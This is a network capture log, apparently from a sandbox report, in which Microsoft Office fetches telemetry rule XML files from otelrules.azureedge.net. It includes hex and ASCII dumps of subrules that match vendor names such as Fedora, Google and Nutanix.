2024-10-06 12:08:44 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.5	57226	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:44 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 721d8bd8-801e-002a-4f00-1731dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd48sqtlf1huhzuwq7000000001pg000000009y3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:44 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	57227	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:44 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: cb78c1b2-201e-003f-2e04-176d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd48lknvp09v995n79000000001n0000000006nq9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:44 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	57228	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:44 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 27b6de9f-001e-0046-1e00-17da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd48wd55zet5pcra0cg00000001u000000000g0qx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:44 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	57229	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:44 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 04801829-801e-00ac-6301-17fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd4824mj9d6vp65b6n4000000024000000000bseb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:44 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	57230	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:44 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 2f3972b1-401e-0035-1b02-1782d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd48gqrfwecymhhbfm800000000r000000000d0q3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	57232	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:44 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:44 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: cde3aec9-601e-0084-63e5-166b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd48p2j6x2quer0q028000000025g000000006wnh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:44 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	57231	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:44 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:44 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 1ed82642-401e-0048-7b12-170409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120844Z-1657d5bbd482lxwq1dp2t1zwkc00000001sg0000000059sx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	57233	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:45 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 3a03d6b9-d01e-0066-52e9-16ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120845Z-1657d5bbd48gqrfwecymhhbfm800000000t0000000008vxf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	57234	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:45 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:45 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 678513bd-b01e-0053-4460-17cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120845Z-1657d5bbd48dfrdj7px744zp8s00000001m000000000gcku x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:45 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	57235	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:45 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:45 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 46a5aa72-701e-0032-6004-17a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120845Z-1657d5bbd482krtfgrg72dfbtn00000001sg000000004x71 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:45 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	57236	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:45 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:45 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: d803a4ff-401e-0083-3904-17075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120845Z-1657d5bbd48wd55zet5pcra0cg00000002100000000012p5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:45 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	57237	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:45 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
